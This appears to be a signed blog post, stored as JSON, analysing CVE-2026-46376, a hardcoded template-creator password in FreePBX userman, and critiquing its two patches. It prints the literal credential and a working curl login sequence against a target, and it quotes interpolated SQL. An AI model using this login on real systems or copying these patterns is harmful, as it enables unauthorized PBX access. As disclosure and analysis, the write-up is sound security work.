-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The placeholder was the credential\n\nThe function that introduced the user is short. From commit [`7aa066e9`](https://github.com/FreePBX/userman/commit/7aa066e99210836e5c223b4f8b7be973ab5ad783), `Userman.class.php`:\n\n```php\n/*Generate a User for Template creation,view/edit */\npublic function generateTemplateCreatorUser($unusedexten){\n $directory = $this->getDefaultDirectory();\n $ret = $this->addUserByDirectory(\n $directory['id'],\n 'FreePBXUCPTemplateCreator',\n md5('1a2b3c@fd48jshs03123ld'),\n $unusedexten,\n _('Autogenerated user For Template Creation'),\n array('email' => '', 'displayname' => 'Template Creator')\n );\n // ...\n}\n```\n\n`addUserByDirectory` is the public API for adding a user to a FreePBX auth directory. The third positional argument is the password. The function requires it; it will not create the user without it. The developer needed a user to exist so the UCP generic template feature had an account to bind dashboards to, and the standard user-creation path required a password to do so.\n\nThe developer's solution was to type a literal string. They wrapped it in `md5()` because they knew the password column expected a hashed value. That second step is the tell. The developer was thinking about what bytes would end up in the database. They were not thinking about what bytes the HTTP login handler would compare against.\n\nThe intended access path for this account was never a password. A few hundred lines further down the same file:\n\n```php\npublic function getUnlockKeyTemplateCreator(){\n $unusedexten = $this->getUnUsedextension();\n $uid = $this->generateTemplateCreatorUser($unusedexten);\n if(!$key = $this->getConfig('unlockkey','templatecreator')){\n $key = (string)Uuid::uuid4();\n $this->setConfig('unlockkey',$key,'templatecreator');\n $this->setConfig($key,$uid,'templatecreator');\n }\n return $key;\n}\n```\n\nThe admin panel hands an administrator a UUID4 unlock key in a URL. The URL drops them into UCP as the template creator user. UUID4 has enough entropy that no one is guessing it. The unlock-key flow was the access mechanism the developer designed. The password parameter was scaffolding the directory module required to maintain its invariant that every user has a row in `userman_users`.\n\nThe placeholder was the credential because nothing else in the system said it wasn't.\n\n## The login endpoint does not know about intent\n\nThe UCP exposes `POST /ucp/ajax.php`. The handler is in `htdocs/includes/User.class.php`:\n\n```php\ncase 'login':\n if (!$this->UCP->Session->verifyToken('login')) { /* ... */ }\n // ...\n $o = $this->login($_POST['username'], $_POST['password'], $rm);\n```\n\n`login()` calls `_authenticate()`. `_authenticate()` calls `FreePBX->Ucp->checkCredentials($username, $password)`, which is a thin pass-through to `Userman::checkCredentials($username, $password)`:\n\n```php\npublic function checkCredentials($username, $password, $alsoCheckDefaultExt = false) {\n $sql = \"SELECT u.username, d.id as dirid from userman_users u, userman_directories d\n WHERE username = ? AND u.auth = d.id AND d.active = 1 ORDER BY d.order LIMIT 1\";\n $sth = $this->db->prepare($sql);\n $sth->execute([$username]);\n $user = $sth->fetch(PDO::FETCH_ASSOC);\n if(empty($user)) {\n // ...\n return false;\n }\n return $this->directories[$user['dirid']]->checkCredentials($username, $password);\n}\n```\n\nThe directory module's `checkCredentials` runs PHPass against the stored hash and returns the user id on a match. There is no field anywhere on the `userman_users` row that says \"this account is for unlock-key access only.\" There is no allowlist of usernames the password endpoint will refuse. The directory's `active` flag is the only gate, and the FreePBX directory is active by default; that is how every other UCP user logs in.\n\n`FreePBXUCPTemplateCreator` is a regular row in `userman_users`. The login endpoint treats it the way it treats every other row.\n\nThe exploit is what the PoC ships. Fetch the CSRF token off `/ucp/index.php`, post it back to `/ucp/ajax.php`:\n\n```bash\n$ TOKEN=$(curl -sc /tmp/cj http://target/ucp/index.php \\\n | sed -n 's/.*name=\"token\" value=\"\\([^\"]*\\)\".*/\\1/p')\n\n$ curl -sb /tmp/cj -X POST http://target/ucp/ajax.php \\\n -H 'X-Requested-With: XMLHttpRequest' \\\n -d \"token=$TOKEN\" \\\n -d 'username=FreePBXUCPTemplateCreator' \\\n -d 'password=1a2b3c@fd48jshs03123ld' \\\n -d 'module=User' \\\n -d 'command=login'\n{\"status\":true}\n```\n\nThe session cookie is now authenticated as the template creator user. The PoC's invariant for \"vulnerable\" is that response: `{\"status\":true}`. Sangoma's own [GHSA-m55x-h47x-v3gx](https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m55x-h47x-v3gx) confirms the chain.\n\nThe CSRF token in the first request is the only \"control\" between the public internet and the UCP for this account. It is fetched from the same login page, anonymously, by the same caller. It exists to prevent a victim's browser from being made to submit the login form. It does not exist to prevent an attacker from submitting it directly.\n\nWhat the template creator account can do inside the UCP is a separate question. The autogenerated user is granted membership in a UCP group, and at creation time every UCP module's `assigned` permission for that group is rewritten:\n\n```php\nforeach($result as $row){\n if($row['key'] == 'assigned'){\n continue;\n }\n // ...\n $val = $row['val'];\n if($row['val'] == '0'){$val = 1;}\n if($row['val'] == 'no'){ $val = 'yes';}\n if($row['val'] == 'disable' ){$val='enable';}\n if($row['key'] == 'allowLogin'){\n $val = 1;\n }\n // ...\n}\n```\n\nEvery disabled permission is enabled. Every \"no\" is \"yes\". `allowLogin` is forced to `1`. The intent was to give the template-editing user the union of available UCP capabilities so the administrator using the unlock-key flow could see how every dashboard widget would render. The intent did not include the network.\n\n## The first patch covered new installs. Five years of existing installs were left.\n\nOn April 16, 2026, commit [`1c55ebaf`](https://github.com/FreePBX/userman/commit/1c55ebaff90a5db879ac022d98876a396535248f) landed under ticket FREEI-2843. It made two changes:\n\n```diff\n-\t\t$ret = $this->addUserByDirectory($directory['id'], $this->getUserNameTemplateCreator(), md5('1a2b3c@fd48jshs03123ld'), $unusedexten, _('Autogenerated user For Template Creation'), ['email' => $email, 'displayname' => $this->displayNameTemplateCreator]);\n+\t\t$password = bin2hex(random_bytes(24));\n+\t\t$ret = $this->addUserByDirectory($directory['id'], $this->getUserNameTemplateCreator(), $password, $unusedexten, _('Autogenerated user For Template Creation'), ['email' => $email, 'displayname' => $this->displayNameTemplateCreator]);\n```\n\nNew installs would no longer ship the literal. Good.\n\nThe same commit added a careful rotation function for existing installs:\n\n```php\npublic function rotateTemplateCreatorPasswordIfExists() {\n $uid = $this->getTemplateCreator();\n if ($uid === false || $uid === null || $uid === '') {\n return ['status' => true, 'rotated' => false];\n }\n $user = $this->getUserByID($uid);\n if (empty($user) || ($user['username'] !== $this->getUserNameTemplateCreator())) {\n return ['status' => true, 'rotated' => false];\n }\n $authId = $user['auth'] ?? null;\n if ($authId === null || !isset($this->directories[$authId])) {\n return ['status' => true, 'rotated' => false];\n }\n $dir = $this->getDirectoryByID($authId);\n if (!empty($dir['locked'])) {\n return ['status' => true, 'rotated' => false];\n }\n $password = bin2hex(random_bytes(24));\n $result = $this->directories[$authId]->updateUser(\n (int) $uid,\n (string) $user['username'],\n (string) $user['username'],\n $user['default_extension'] ?? 'none',\n $user['description'],\n [],\n $password,\n true\n );\n // ...\n}\n```\n\nThe rotation looks up the user, confirms it is the template creator (not some other account that happened to share the id), checks that the directory exists and is not locked, then calls the directory module's `updateUser()` with the new password and `$encrypt=true`. `updateUser()` runs the password through `PasswordHash::HashPassword` before writing it. The pattern is the one the rest of userman uses.\n\n`install.php` was updated to call the rotation on every upgrade:\n\n```php\n$tcRotate = $freepbx->Userman->rotateTemplateCreatorPasswordIfExists();\nif (is_array($tcRotate) && !empty($tcRotate['rotated'])) {\n out(_('Updated password for the generic UCP Template Creator user.'));\n} elseif (is_array($tcRotate) && empty($tcRotate['status']) && !empty($tcRotate['message'])) {\n out(sprintf(_('Warning: could not rotate generic Template Creator user password: %s'), $tcRotate['message']));\n}\n```\n\nThis is what the first patch looked like. New installs randomized at creation; existing installs rotated through the proper hashing pipeline on upgrade; locked directories were respected.\n\n## Four days later, the rotation function was deleted\n\nOn April 20, 2026, commit [`842323c1`](https://github.com/FreePBX/userman/commit/842323c10cf9ab1079cc96407c7a132b244da61b) landed under the same ticket, titled \"FREEI-2843 - changes done for Hardcoded credential vulnerability fixing\". Its diff against the previous commit removes forty lines from `Userman.class.php`:\n\n```diff\n-\tpublic function rotateTemplateCreatorPasswordIfExists() {\n-\t\t$uid = $this->getTemplateCreator();\n-\t\tif ($uid === false || $uid === null || $uid === '') {\n-\t\t\treturn ['status' => true, 'rotated' => false];\n-\t\t}\n-\t\t// ... forty lines deleted ...\n-\t}\n```\n\nAnd replaces the upgrade-hook call in `install.php` with raw SQL:\n\n```diff\n-$tcRotate = $freepbx->Userman->rotateTemplateCreatorPasswordIfExists();\n-if (is_array($tcRotate) && !empty($tcRotate['rotated'])) {\n-\tout(_('Updated password for the generic UCP Template Creator user.'));\n-} elseif (is_array($tcRotate) && empty($tcRotate['status']) && !empty($tcRotate['message'])) {\n-\tout(sprintf(_('Warning: could not rotate generic Template Creator user password: %s'), $tcRotate['message']));\n+$uid = $freepbx->Userman->getTemplateCreator();\n+\n+if($uid !== false && $uid !== null && $uid !== '') {\n+\t$password = bin2hex(random_bytes(24));\n+\t$sql = \"UPDATE userman_users SET password = '$password' WHERE id = $uid\";\n+\tFreePBX::Database()->query($sql);\n+\tout(_('Password regenerated for the generic user.'));\n }\n```\n\nTwo changes survive past the surface of the diff. The first is the SQL shape: `\"UPDATE userman_users SET password = '$password' WHERE id = $uid\"` is string interpolation, not a prepared statement. The values are produced by code inside the same function (`$password` is hex from `random_bytes`, `$uid` is an integer primary key), so there is no attacker-controlled path into the query today; the only people who can change that are the same people who write the file. It is still the wrong shape; userman's own directory module uses prepared statements for every other write.\n\nThe second change is the one that matters. The deleted `updateUser()` call ran the new password through `PasswordHash::HashPassword`. The new raw SQL writes the forty-eight-byte hex string directly into the `password` column. The column previously stored PHPass-hashed values; it now stores a raw hex string. The login endpoint's `CheckPassword` against a non-PHPass value will not match anything a caller can submit, which is the intended outcome for this account, but it is the intended outcome arrived at by removing the layer that hashed.\n\nThe locked-directory check is also gone. A directory marked `locked` in `userman_directories` is one the administrator has told the system not to mutate. The first patch respected that flag. The second patch reaches past it and writes the column anyway. There is no directory the upgrade hook will not silently overwrite.\n\nThe first patch was the careful one. The second patch deleted the careful one and replaced it with raw SQL that bypasses the layer the careful one used.\n\n## The placeholder was always going to be the credential\n\nThis is the shape of Placeholder Credential Is Live. A credential parameter required by a constructor, given a literal value because the developer's threat model placed the access path somewhere else. The framework took the literal, persisted it into the auth store the rest of the system queries, and exposed an endpoint that compares submitted bytes against that store with no field anywhere distinguishing \"this credential is real\" from \"this credential is scaffolding.\"\n\nThe developer wrote `md5('1a2b3c@fd48jshs03123ld')` because they understood the password column expected a hashed value. They computed it themselves to spare the column the work. The wrap in `md5()` is the part of the code that proves the developer understood the storage layer. The literal inside the wrap is the part that proves they had a model of who would attempt to submit it, and that model did not include anyone.\n\nFifty-nine months. Every FreePBX 15.0.42, every 16.x before 16.0.45, every 17.x before 17.0.7 that ran the UCP generic template setup carried that user with that password. Sangoma's customers were told, in May 2026, that the model had been wrong since June 2021.\n\nPoC: [portbuster1337/CVE-2026-46376](https://github.com/portbuster1337/CVE-2026-46376)","closing_line":"The wrap in `md5()` is testimony the developer thought about storage. The literal is testimony they did not think about login.","hook_md":"On June 4, 2021, a new function landed in `Userman.class.php`. It was called `generateTemplateCreatorUser`. It created a system user named `FreePBXUCPTemplateCreator` and passed the string `md5('1a2b3c@fd48jshs03123ld')` as that user's password. The literal and the username both shipped, in the same commit, in plaintext, in the public FreePBX/userman repository on GitHub.\n\nCVE-2026-46376 is the fifty-nine-month window between the day that literal entered the codebase and the day Sangoma told its customers it had been there.","post_id":563,"slug":"freepbx-userman-the-placeholder-was-the-credential","title":"CVE-2026-46376: FreePBX userman Shipped A Placeholder Password. The UCP Login Endpoint Did Not Know It Was A Placeholder.","type":"initial","unreadable_sentence":"The wrap in `md5()` is testimony the developer thought about storage. The literal is testimony they did not think about login."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaqxGTgAKCRDeZjl4jgkQ JneGAP0U8U7uYgQTgcU6eKyGuIIsHixXDq59h4fWtgkoTZPOuwEAzS9GMLfjqONs +280dVrLT0+UNzWUB9hA0dAnKy6yQwI= =X0qQ -----END PGP SIGNATURE-----